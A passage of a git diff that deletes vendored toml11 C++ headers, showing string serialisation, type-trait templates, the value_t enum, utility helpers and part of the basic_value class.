lhs, const string& rhs) {return std::string(lhs) <= rhs.str;} -inline bool -operator>=(const char* lhs, const string& rhs) {return std::string(lhs) >= rhs.str;} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const string& s) -{ - if(s.kind == string_t::basic) - { - if(std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend()) - { - // it contains newline. make it multiline string. - os << "\"\"\"\n"; - for(auto i=s.str.cbegin(), e=s.str.cend(); i!=e; ++i) - { - switch(*i) - { - case '\\': {os << "\\\\"; break;} - case '\"': {os << "\\\""; break;} - case '\b': {os << "\\b"; break;} - case '\t': {os << "\\t"; break;} - case '\f': {os << "\\f"; break;} - case '\n': {os << '\n'; break;} - case '\r': - { - // since it is a multiline string, - // CRLF is not needed to be escaped. - if(std::next(i) != e && *std::next(i) == '\n') - { - os << "\r\n"; - ++i; - } - else - { - os << "\\r"; - } - break; - } - default: {os << *i; break;} - } - } - os << "\\\n\"\"\""; - return os; - } - // no newline. make it inline. - os << "\""; - for(const auto c : s.str) - { - switch(c) - { - case '\\': {os << "\\\\"; break;} - case '\"': {os << "\\\""; break;} - case '\b': {os << "\\b"; break;} - case '\t': {os << "\\t"; break;} - case '\f': {os << "\\f"; break;} - case '\n': {os << "\\n"; break;} - case '\r': {os << "\\r"; break;} - default : {os << c; break;} - } - } - os << "\""; - return os; - } - // the string `s` is literal-string. - if(std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend() || - std::find(s.str.cbegin(), s.str.cend(), '\'') != s.str.cend() ) - { - // contains newline or single quote. make it multiline. - os << "'''\n" << s.str << "'''"; - return os; - } - // normal literal string - os << '\'' << s.str << '\''; - return os; -} - -} // toml -#endif// TOML11_STRING_H diff --git a/src/toml11/toml/traits.hpp b/src/toml11/toml/traits.hpp deleted file mode 100644 index 5495c93b2..000000000 --- a/src/toml11/toml/traits.hpp +++ /dev/null @@ -1,327 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_TRAITS_HPP -#define TOML11_TRAITS_HPP - -#include "from.hpp" -#include "into.hpp" - -#include -#include -#include -#include -#include -#include - -#if __cplusplus >= 201703L -#if __has_include() -#include -#endif // has_include() -#endif // cplusplus >= C++17 - -namespace toml -{ -template class T, template class A> -class basic_value; - -namespace detail -{ -// --------------------------------------------------------------------------- -// check whether type T is a kind of container/map class - -struct has_iterator_impl -{ - template static std::true_type check(typename T::iterator*); - template static std::false_type check(...); -}; -struct has_value_type_impl -{ - template static std::true_type check(typename T::value_type*); - template static std::false_type check(...); -}; -struct has_key_type_impl -{ - template static std::true_type check(typename T::key_type*); - template static std::false_type check(...); -}; -struct has_mapped_type_impl -{ - template static std::true_type check(typename T::mapped_type*); - template static std::false_type check(...); -}; -struct has_reserve_method_impl -{ - template static std::false_type check(...); - template static std::true_type check( - decltype(std::declval().reserve(std::declval()))*); -}; -struct has_push_back_method_impl -{ - template static std::false_type check(...); - template static std::true_type check( - decltype(std::declval().push_back(std::declval()))*); -}; -struct is_comparable_impl -{ - template static std::false_type check(...); - template static std::true_type check( - decltype(std::declval() < std::declval())*); -}; - -struct has_from_toml_method_impl -{ - template class Tb, template class A> - static std::true_type check( - decltype(std::declval().from_toml( - std::declval<::toml::basic_value>()))*); - - template class Tb, template class A> - static std::false_type check(...); -}; -struct has_into_toml_method_impl -{ - template - static std::true_type check(decltype(std::declval().into_toml())*); - template - static std::false_type check(...); -}; - -struct has_specialized_from_impl -{ - template - static std::false_type check(...); - template)> - static std::true_type check(::toml::from*); -}; -struct has_specialized_into_impl -{ - template - static std::false_type check(...); - template)> - static std::true_type check(::toml::from*); -}; - - -/// Intel C++ compiler can not use decltype in parent class declaration, here -/// is a hack to work around it. https://stackoverflow.com/a/23953090/4692076 -#ifdef __INTEL_COMPILER -#define decltype(...) std::enable_if::type -#endif - -template -struct has_iterator : decltype(has_iterator_impl::check(nullptr)){}; -template -struct has_value_type : decltype(has_value_type_impl::check(nullptr)){}; -template -struct has_key_type : decltype(has_key_type_impl::check(nullptr)){}; -template -struct has_mapped_type : decltype(has_mapped_type_impl::check(nullptr)){}; -template -struct has_reserve_method : decltype(has_reserve_method_impl::check(nullptr)){}; -template -struct has_push_back_method : decltype(has_push_back_method_impl::check(nullptr)){}; -template -struct is_comparable : decltype(is_comparable_impl::check(nullptr)){}; - -template class Tb, template class A> -struct has_from_toml_method -: decltype(has_from_toml_method_impl::check(nullptr)){}; - -template -struct has_into_toml_method -: decltype(has_into_toml_method_impl::check(nullptr)){}; - -template -struct has_specialized_from : decltype(has_specialized_from_impl::check(nullptr)){}; -template -struct has_specialized_into : decltype(has_specialized_into_impl::check(nullptr)){}; - -#ifdef __INTEL_COMPILER -#undef decltype -#endif - -// --------------------------------------------------------------------------- -// C++17 and/or/not - -#if __cplusplus >= 201703L - -using std::conjunction; -using std::disjunction; -using std::negation; - -#else - -template struct conjunction : std::true_type{}; -template struct conjunction : T{}; -template -struct conjunction : - std::conditional(T::value), conjunction, T>::type -{}; - -template struct disjunction : std::false_type{}; -template struct disjunction : T {}; -template -struct disjunction : - std::conditional(T::value), T, disjunction>::type -{}; - -template -struct negation : std::integral_constant(T::value)>{}; - -#endif - -// --------------------------------------------------------------------------- -// type checkers - -template struct is_std_pair : std::false_type{}; -template -struct is_std_pair> : std::true_type{}; - -template struct is_std_tuple : std::false_type{}; -template -struct is_std_tuple> : std::true_type{}; - -template struct is_std_forward_list : std::false_type{}; -template -struct is_std_forward_list> : std::true_type{}; - -template struct is_chrono_duration: std::false_type{}; -template -struct is_chrono_duration>: std::true_type{}; - -template -struct is_map : conjunction< // map satisfies all the following conditions - has_iterator, // has T::iterator - has_value_type, // has T::value_type - has_key_type, // has T::key_type - has_mapped_type // has T::mapped_type - >{}; -template struct is_map : is_map{}; -template struct is_map : is_map{}; -template struct is_map : is_map{}; -template struct is_map : is_map{}; - -template -struct is_container : conjunction< - negation>, // not a map - negation>, // not a std::string -#if __cplusplus >= 201703L -#if __has_include() - negation>, // not a std::string_view -#endif // has_include() -#endif - has_iterator, // has T::iterator - has_value_type // has T::value_type - >{}; -template struct is_container : is_container{}; -template struct is_container : is_container{}; -template struct is_container : is_container{}; -template struct is_container : is_container{}; - -template -struct is_basic_value: std::false_type{}; -template struct is_basic_value : is_basic_value{}; -template struct is_basic_value : is_basic_value{}; -template struct is_basic_value : is_basic_value{}; -template struct is_basic_value : is_basic_value{}; -template class M, template class V> -struct is_basic_value<::toml::basic_value>: std::true_type{}; - -// --------------------------------------------------------------------------- -// C++14 index_sequence - -#if __cplusplus >= 201402L - -using std::index_sequence; -using std::make_index_sequence; - -#else - -template struct index_sequence{}; - -template struct push_back_index_sequence{}; -template -struct push_back_index_sequence, N> -{ - typedef index_sequence type; -}; - -template -struct index_sequence_maker -{ - typedef typename push_back_index_sequence< - typename index_sequence_maker::type, N>::type type; -}; -template<> -struct index_sequence_maker<0> -{ - typedef index_sequence<0> type; -}; -template -using make_index_sequence = typename index_sequence_maker::type; - -#endif // __cplusplus >= 2014 - -// --------------------------------------------------------------------------- -// C++14 enable_if_t - -#if __cplusplus >= 201402L - -using std::enable_if_t; - -#else - -template -using enable_if_t = typename std::enable_if::type; - -#endif // __cplusplus >= 2014 - -// --------------------------------------------------------------------------- -// return_type_of_t - -#if __cplusplus >= 201703L && defined(__cpp_lib_is_invocable) && __cpp_lib_is_invocable>=201703 - -template -using return_type_of_t = std::invoke_result_t; - -#else -// result_of is deprecated after C++17 -template -using return_type_of_t = typename std::result_of::type; - -#endif - -// --------------------------------------------------------------------------- -// is_string_literal -// -// to use this, pass `typename remove_reference::type` to T. - -template -struct is_string_literal: -disjunction< - std::is_same, - conjunction< - std::is_array, - std::is_same::type> - > - >{}; - -// --------------------------------------------------------------------------- -// C++20 remove_cvref_t - -template -struct remove_cvref -{ - using type = typename std::remove_cv< - typename std::remove_reference::type>::type; -}; - -template -using remove_cvref_t = typename remove_cvref::type; - -}// detail -}//toml -#endif // TOML_TRAITS diff --git a/src/toml11/toml/types.hpp b/src/toml11/toml/types.hpp deleted file mode 100644 index 1e420e7fd..000000000 --- a/src/toml11/toml/types.hpp +++ /dev/null @@ -1,173 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_TYPES_HPP -#define TOML11_TYPES_HPP -#include -#include - -#include "comments.hpp" -#include "datetime.hpp" -#include "string.hpp" -#include "traits.hpp" - -namespace toml -{ - -template class Table, // map-like class - template class Array> // vector-like class -class basic_value; - -using character = char; -using key = std::string; - -#if !defined(__clang__) && defined(__GNUC__) && __GNUC__ <= 4 -# pragma GCC diagnostic push -# pragma GCC diagnostic ignored "-Wshadow" -#endif - -using boolean = bool; -using integer = std::int64_t; -using floating = double; // "float" is a keyword, cannot use it here. -// the following stuffs are structs defined here, so aliases are not needed. -// - string -// - offset_datetime -// - offset_datetime -// - local_datetime -// - local_date -// - local_time - -#if defined(__GNUC__) && !defined(__clang__) -# pragma GCC diagnostic pop -#endif - -// default toml::value and default array/table. these are defined after defining -// basic_value itself. -// using value = basic_value; -// using array = typename value::array_type; -// using table = typename value::table_type; - -// to avoid warnings about `value_t::integer` is "shadowing" toml::integer in -// GCC -Wshadow=global. -#if defined(__GNUC__) && !defined(__clang__) -# pragma GCC diagnostic push -# if 7 <= __GNUC__ -# pragma GCC diagnostic ignored "-Wshadow=global" -# else // gcc-6 or older -# pragma GCC diagnostic ignored "-Wshadow" -# endif -#endif -enum class value_t : std::uint8_t -{ - empty = 0, - boolean = 1, - integer = 2, - floating = 3, - string = 4, - offset_datetime = 5, - local_datetime = 6, - local_date = 7, - local_time = 8, - array = 9, - table = 10, -}; -#if defined(__GNUC__) && !defined(__clang__) -# pragma GCC diagnostic pop -#endif - -template -inline std::basic_ostream& -operator<<(std::basic_ostream& os, value_t t) -{ - switch(t) - { - case value_t::boolean : os << "boolean"; return os; - case value_t::integer : os << "integer"; return os; - case value_t::floating : os << "floating"; return os; - case value_t::string : os << "string"; return os; - case value_t::offset_datetime : os << "offset_datetime"; return os; - case value_t::local_datetime : os << "local_datetime"; return os; - case value_t::local_date : os << "local_date"; return os; - case value_t::local_time : os << "local_time"; return os; - case value_t::array : os << "array"; return os; - case value_t::table : os << "table"; return os; - case value_t::empty : os << "empty"; return os; - default : os << "unknown"; return os; - } -} - -template, - typename alloc = std::allocator> -inline std::basic_string stringize(value_t t) -{ - std::basic_ostringstream oss; - oss << t; - return oss.str(); -} - -namespace detail -{ - -// helper to define a type that represents a value_t value. -template -using value_t_constant = std::integral_constant; - -// meta-function that convertes from value_t to the exact toml type that corresponds to. -// It takes toml::basic_value type because array and table types depend on it. -template struct enum_to_type {using type = void ;}; -template struct enum_to_type{using type = void ;}; -template struct enum_to_type{using type = boolean ;}; -template struct enum_to_type{using type = integer ;}; -template struct enum_to_type{using type = floating ;}; -template struct enum_to_type{using type = string ;}; -template struct enum_to_type{using type = offset_datetime ;}; -template struct enum_to_type{using type = local_datetime ;}; -template struct enum_to_type{using type = local_date ;}; -template struct enum_to_type{using type = local_time ;}; -template struct enum_to_type{using type = typename Value::array_type;}; -template struct enum_to_type{using type = typename Value::table_type;}; - -// meta-function that converts from an exact toml type to the enum that corresponds to. -template -struct type_to_enum : std::conditional< - std::is_same::value, // if T == array_type, - value_t_constant, // then value_t::array - typename std::conditional< // else... - std::is_same::value, // if T == table_type - value_t_constant, // then value_t::table - value_t_constant // else value_t::empty - >::type - >::type {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; -template struct type_to_enum: value_t_constant {}; - -// meta-function that checks the type T is the same as one of the toml::* types. -template -struct is_exact_toml_type : disjunction< - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same - >{}; -template struct is_exact_toml_type : is_exact_toml_type{}; -template struct is_exact_toml_type : is_exact_toml_type{}; -template struct is_exact_toml_type : is_exact_toml_type{}; -template struct is_exact_toml_type: is_exact_toml_type{}; - -} // detail -} // toml - -#endif// TOML11_TYPES_H diff --git a/src/toml11/toml/utility.hpp b/src/toml11/toml/utility.hpp deleted file mode 100644 index 4a6b4309d..000000000 --- a/src/toml11/toml/utility.hpp +++ /dev/null @@ -1,149 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_UTILITY_HPP -#define TOML11_UTILITY_HPP -#include -#include -#include - -#include "traits.hpp" - -#if __cplusplus >= 201402L -# define TOML11_MARK_AS_DEPRECATED(msg) [[deprecated(msg)]] -#elif defined(__GNUC__) -# define TOML11_MARK_AS_DEPRECATED(msg) __attribute__((deprecated(msg))) -#elif defined(_MSC_VER) -# define TOML11_MARK_AS_DEPRECATED(msg) __declspec(deprecated(msg)) -#else -# define TOML11_MARK_AS_DEPRECATED -#endif - -namespace toml -{ - -#if __cplusplus >= 201402L - -using std::make_unique; - -#else - -template -inline std::unique_ptr make_unique(Ts&& ... args) -{ - return std::unique_ptr(new T(std::forward(args)...)); -} - -#endif // __cplusplus >= 2014 - -namespace detail -{ -template -void try_reserve_impl(Container& container, std::size_t N, std::true_type) -{ - container.reserve(N); - return; -} -template -void try_reserve_impl(Container&, std::size_t, std::false_type) noexcept -{ - return; -} -} // detail - -template -void try_reserve(Container& container, std::size_t N) -{ - if(N <= container.size()) {return;} - detail::try_reserve_impl(container, N, detail::has_reserve_method{}); - return; -} - -namespace detail -{ -inline std::string concat_to_string_impl(std::ostringstream& oss) -{ - return oss.str(); -} -template -std::string concat_to_string_impl(std::ostringstream& oss, T&& head, Ts&& ... tail) -{ - oss << std::forward(head); - return concat_to_string_impl(oss, std::forward(tail) ... ); -} -} // detail - -template -std::string concat_to_string(Ts&& ... args) -{ - std::ostringstream oss; - oss << std::boolalpha << std::fixed; - return detail::concat_to_string_impl(oss, std::forward(args) ...); -} - -template -T from_string(const std::string& str, T opt) -{ - T v(opt); - std::istringstream iss(str); - iss >> v; - return v; -} - -namespace detail -{ -#if __cplusplus >= 201402L -template -decltype(auto) last_one(T&& tail) noexcept -{ - return std::forward(tail); -} - -template -decltype(auto) last_one(T&& /*head*/, Ts&& ... tail) noexcept -{ - return last_one(std::forward(tail)...); -} -#else // C++11 -// The following code -// ```cpp -// 1 | template -// 2 | auto last_one(T&& /*head*/, Ts&& ... tail) -// 3 | -> decltype(last_one(std::forward(tail)...)) -// 4 | { -// 5 | return last_one(std::forward(tail)...); -// 6 | } -// ``` -// does not work because the function `last_one(...)` is not yet defined at -// line #3, so `decltype()` cannot deduce the type returned from `last_one`. -// So we need to determine return type in a different way, like a meta func. - -template -struct last_one_in_pack -{ - using type = typename last_one_in_pack::type; -}; -template -struct last_one_in_pack -{ - using type = T; -}; -template -using last_one_in_pack_t = typename last_one_in_pack::type; - -template -T&& last_one(T&& tail) noexcept -{ - return std::forward(tail); -} -template -enable_if_t<(sizeof...(Ts) > 0), last_one_in_pack_t> -last_one(T&& /*head*/, Ts&& ... tail) -{ - return last_one(std::forward(tail)...); -} - -#endif -} // detail - -}// toml -#endif // TOML11_UTILITY diff --git a/src/toml11/toml/value.hpp b/src/toml11/toml/value.hpp deleted file mode 100644 index 1b43db8d4..000000000 --- a/src/toml11/toml/value.hpp +++ /dev/null @@ -1,2035 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_VALUE_HPP -#define TOML11_VALUE_HPP -#include - -#include "comments.hpp" -#include "exception.hpp" -#include "into.hpp" -#include "region.hpp" -#include "source_location.hpp" -#include "storage.hpp" -#include "traits.hpp" -#include "types.hpp" -#include "utility.hpp" - -namespace toml -{ - -namespace detail -{ - -// to show error messages. not recommended for users. -template -inline region_base const* get_region(const Value& v) -{ - return v.region_info_.get(); -} - -template -void change_region(Value& v, region reg) -{ - v.region_info_ = std::make_shared(std::move(reg)); - return; -} - -template -[[noreturn]] inline void -throw_bad_cast(const std::string& funcname, value_t actual, const Value& v) -{ - throw type_error(detail::format_underline( - concat_to_string(funcname, "bad_cast to ", Expected), { - {v.location(), concat_to_string("the actual type is ", actual)} - }), v.location()); -} - -// Throw `out_of_range` from `toml::value::at()` and `toml::find()` -// after generating an error message. -// -// The implementation is a bit complicated and there are many edge-cases. -// If you are not interested in the error message generation, just skip this. -template -[[noreturn]] void -throw_key_not_found_error(const Value& v, const key& ky) -{ - // The top-level table has its region at the first character of the file. - // That means that, in the case when a key is not found in the top-level - // table, the error message points to the first character. If the file has - // its first table at the first line, the error message would be like this. - // ```console - // [error] key "a" not found - // --> example.toml - // | - // 1 | [table] - // | ^------ in this table - // ``` - // It actually points to the top-level table at the first character, - // not `[table]`. But it is too confusing. To avoid the confusion, the error - // message should explicitly say "key not found in the top-level table", - // or "the parsed file is empty" if there is no content at all (0 bytes in file). - const auto loc = v.location(); - if(loc.line() == 1 && loc.region() == 0) - { - // First line with a zero-length region means "empty file". - // The region will be generated at `parse_toml_file` function - // if the file contains no bytes. - throw std::out_of_range(format_underline(concat_to_string( - "key \"", ky, "\" not found in the top-level table"), { - {loc, "the parsed file is empty"} - })); - } - else if(loc.line() == 1 && loc.region() == 1) - { - // Here it assumes that top-level table starts at the first character. - // The region corresponds to the top-level table will be generated at - // `parse_toml_file` function. - // It also assumes that the top-level table size is just one and - // the line number is `1`. It is always satisfied. And those conditions - // are satisfied only if the table is the top-level table. - // - // 1. one-character dot-key at the first line - // ```toml - // a.b = "c" - // ``` - // toml11 counts whole key as the table key. Here, `a.b` is the region - // of the table "a". It could be counter intuitive, but it works. - // The size of the region is 3, not 1. The above example is the shortest - // dot-key example. The size cannot be 1. - // - // 2. one-character inline-table at the first line - // ```toml - // a = {b = "c"} - // ``` - // toml11 considers the inline table body as the table region. Here, - // `{b = "c"}` is the region of the table "a". The size of the region - // is 9, not 1. The shotest inline table still has two characters, `{` - // and `}`. The size cannot be 1. - // - // 3. one-character table declaration at the first line - // ```toml - // [a] - // ``` - // toml11 considers the whole table key as the table region. Here, - // `[a]` is the table region. The size is 3, not 1. - // - throw std::out_of_range(format_underline(concat_to_string( - "key \"", ky, "\" not found in the top-level table"), { - {loc, "the top-level table starts here"} - })); - } - else - { - // normal table. - throw std::out_of_range(format_underline(concat_to_string( - "key \"", ky, "\" not found"), { {loc, "in this table"} })); - } -} - -// switch by `value_t` at the compile time. -template -struct switch_cast {}; -#define TOML11_GENERATE_SWITCH_CASTER(TYPE) \ - template<> \ - struct switch_cast \ - { \ - template \ - static typename Value::TYPE##_type& invoke(Value& v) \ - { \ - return v.as_##TYPE(); \ - } \ - template \ - static typename Value::TYPE##_type const& invoke(const Value& v) \ - { \ - return v.as_##TYPE(); \ - } \ - template \ - static typename Value::TYPE##_type&& invoke(Value&& v) \ - { \ - return std::move(v).as_##TYPE(); \ - } \ - }; \ - /**/ -TOML11_GENERATE_SWITCH_CASTER(boolean) -TOML11_GENERATE_SWITCH_CASTER(integer) -TOML11_GENERATE_SWITCH_CASTER(floating) -TOML11_GENERATE_SWITCH_CASTER(string) -TOML11_GENERATE_SWITCH_CASTER(offset_datetime) -TOML11_GENERATE_SWITCH_CASTER(local_datetime) -TOML11_GENERATE_SWITCH_CASTER(local_date) -TOML11_GENERATE_SWITCH_CASTER(local_time) -TOML11_GENERATE_SWITCH_CASTER(array) -TOML11_GENERATE_SWITCH_CASTER(table) - -#undef TOML11_GENERATE_SWITCH_CASTER - -}// detail - -template class Table = std::unordered_map, - template class Array = std::vector> -class basic_value -{ - template - static void assigner(T& dst, U&& v) - { - const auto tmp = ::new(std::addressof(dst)) T(std::forward(v)); - assert(tmp == std::addressof(dst)); - (void)tmp; - } - - using region_base = detail::region_base; - - template class T, - template class A> - friend class basic_value; - - public: - - using comment_type = Comment; - using key_type = ::toml::key; - using value_type = basic_value; - using boolean_type = ::toml::boolean; - using integer_type = ::toml::integer; - using floating_type = ::toml::floating; - using string_type = ::toml::string; - using local_time_type = ::toml::local_time; - using local_date_type = ::toml::local_date; - using local_datetime_type = ::toml::local_datetime; - using offset_datetime_type = ::toml::offset_datetime; - using array_type = Array; - using table_type = Table; - - public: - - basic_value() noexcept - : type_(value_t::empty), - region_info_(std::make_shared(region_base{})) - {} - ~basic_value() noexcept {this->cleanup();} - - basic_value(const basic_value& v) - : type_(v.type()), region_info_(v.region_info_), comments_(v.comments_) - { - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : assigner(array_ , v.array_ ); break; - case value_t::table : assigner(table_ , v.table_ ); break; - default: break; - } - } - basic_value(basic_value&& v) - : type_(v.type()), region_info_(std::move(v.region_info_)), - comments_(std::move(v.comments_)) - { - switch(this->type_) // here this->type_ is already initialized - { - case value_t::boolean : assigner(boolean_ , std::move(v.boolean_ )); break; - case value_t::integer : assigner(integer_ , std::move(v.integer_ )); break; - case value_t::floating : assigner(floating_ , std::move(v.floating_ )); break; - case value_t::string : assigner(string_ , std::move(v.string_ )); break; - case value_t::offset_datetime: assigner(offset_datetime_, std::move(v.offset_datetime_)); break; - case value_t::local_datetime : assigner(local_datetime_ , std::move(v.local_datetime_ )); break; - case value_t::local_date : assigner(local_date_ , std::move(v.local_date_ )); break; - case value_t::local_time : assigner(local_time_ , std::move(v.local_time_ )); break; - case value_t::array : assigner(array_ , std::move(v.array_ )); break; - case value_t::table : assigner(table_ , std::move(v.table_ )); break; - default: break; - } - } - basic_value& operator=(const basic_value& v) - { - this->cleanup(); - this->region_info_ = v.region_info_; - this->comments_ = v.comments_; - this->type_ = v.type(); - switch(this->type_) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : assigner(array_ , v.array_ ); break; - case value_t::table : assigner(table_ , v.table_ ); break; - default: break; - } - return *this; - } - basic_value& operator=(basic_value&& v) - { - this->cleanup(); - this->region_info_ = std::move(v.region_info_); - this->comments_ = std::move(v.comments_); - this->type_ = v.type(); - switch(this->type_) - { - case value_t::boolean : assigner(boolean_ , std::move(v.boolean_ )); break; - case value_t::integer : assigner(integer_ , std::move(v.integer_ )); break; - case value_t::floating : assigner(floating_ , std::move(v.floating_ )); break; - case value_t::string : assigner(string_ , std::move(v.string_ )); break; - case value_t::offset_datetime: assigner(offset_datetime_, std::move(v.offset_datetime_)); break; - case value_t::local_datetime : assigner(local_datetime_ , std::move(v.local_datetime_ )); break; - case value_t::local_date : assigner(local_date_ , std::move(v.local_date_ )); break; - case value_t::local_time : assigner(local_time_ , std::move(v.local_time_ )); break; - case value_t::array : assigner(array_ , std::move(v.array_ )); break; - case value_t::table : assigner(table_ , std::move(v.table_ )); break; - default: break; - } - return *this; - } - - // overwrite comments ---------------------------------------------------- - - basic_value(const basic_value& v, std::vector com) - : type_(v.type()), region_info_(v.region_info_), - comments_(std::move(com)) - { - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : assigner(array_ , v.array_ ); break; - case value_t::table : assigner(table_ , v.table_ ); break; - default: break; - } - } - - basic_value(basic_value&& v, std::vector com) - : type_(v.type()), region_info_(std::move(v.region_info_)), - comments_(std::move(com)) - { - switch(this->type_) // here this->type_ is already initialized - { - case value_t::boolean : assigner(boolean_ , std::move(v.boolean_ )); break; - case value_t::integer : assigner(integer_ , std::move(v.integer_ )); break; - case value_t::floating : assigner(floating_ , std::move(v.floating_ )); break; - case value_t::string : assigner(string_ , std::move(v.string_ )); break; - case value_t::offset_datetime: assigner(offset_datetime_, std::move(v.offset_datetime_)); break; - case value_t::local_datetime : assigner(local_datetime_ , std::move(v.local_datetime_ )); break; - case value_t::local_date : assigner(local_date_ , std::move(v.local_date_ )); break; - case value_t::local_time : assigner(local_time_ , std::move(v.local_time_ )); break; - case value_t::array : assigner(array_ , std::move(v.array_ )); break; - case value_t::table : assigner(table_ , std::move(v.table_ )); break; - default: break; - } - } - - // ----------------------------------------------------------------------- - // conversion between different basic_values. - template class T, - template class A> - basic_value(const basic_value& v) - : type_(v.type()), region_info_(v.region_info_), comments_(v.comments()) - { - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : - { - array_type tmp(v.as_array(std::nothrow).begin(), - v.as_array(std::nothrow).end()); - assigner(array_, std::move(tmp)); - break; - } - case value_t::table : - { - table_type tmp(v.as_table(std::nothrow).begin(), - v.as_table(std::nothrow).end()); - assigner(table_, std::move(tmp)); - break; - } - default: break; - } - } - template class T, - template class A> - basic_value(const basic_value& v, std::vector com) - : type_(v.type()), region_info_(v.region_info_), - comments_(std::move(com)) - { - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : - { - array_type tmp(v.as_array(std::nothrow).begin(), - v.as_array(std::nothrow).end()); - assigner(array_, std::move(tmp)); - break; - } - case value_t::table : - { - table_type tmp(v.as_table(std::nothrow).begin(), - v.as_table(std::nothrow).end()); - assigner(table_, std::move(tmp)); - break; - } - default: break; - } - } - template class T, - template class A> - basic_value& operator=(const basic_value& v) - { - this->region_info_ = v.region_info_; - this->comments_ = comment_type(v.comments()); - this->type_ = v.type(); - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : - { - array_type tmp(v.as_array(std::nothrow).begin(), - v.as_array(std::nothrow).end()); - assigner(array_, std::move(tmp)); - break; - } - case value_t::table : - { - table_type tmp(v.as_table(std::nothrow).begin(), - v.as_table(std::nothrow).end()); - assigner(table_, std::move(tmp)); - break; - } - default: break; - } - return *this; - } - - // boolean ============================================================== - - basic_value(boolean b) - : type_(value_t::boolean), - region_info_(std::make_shared(region_base{})) - { - assigner(this->boolean_, b); - } - basic_value& operator=(boolean b) - { - this->cleanup(); - this->type_ = value_t::boolean; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->boolean_, b); - return *this; - } - basic_value(boolean b, std::vector com) - : type_(value_t::boolean), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->boolean_, b); - } - - // integer ============================================================== - - template, detail::negation>>::value, - std::nullptr_t>::type = nullptr> - basic_value(T i) - : type_(value_t::integer), - region_info_(std::make_shared(region_base{})) - { - assigner(this->integer_, static_cast(i)); - } - - template, detail::negation>>::value, - std::nullptr_t>::type = nullptr> - basic_value& operator=(T i) - { - this->cleanup(); - this->type_ = value_t::integer; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->integer_, static_cast(i)); - return *this; - } - - template, detail::negation>>::value, - std::nullptr_t>::type = nullptr> - basic_value(T i, std::vector com) - : type_(value_t::integer), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->integer_, static_cast(i)); - } - - // floating ============================================================= - - template::value, std::nullptr_t>::type = nullptr> - basic_value(T f) - : type_(value_t::floating), - region_info_(std::make_shared(region_base{})) - { - assigner(this->floating_, static_cast(f)); - } - - - template::value, std::nullptr_t>::type = nullptr> - basic_value& operator=(T f) - { - this->cleanup(); - this->type_ = value_t::floating; - this->region_info_ = std::make_shared(region_base{}); - 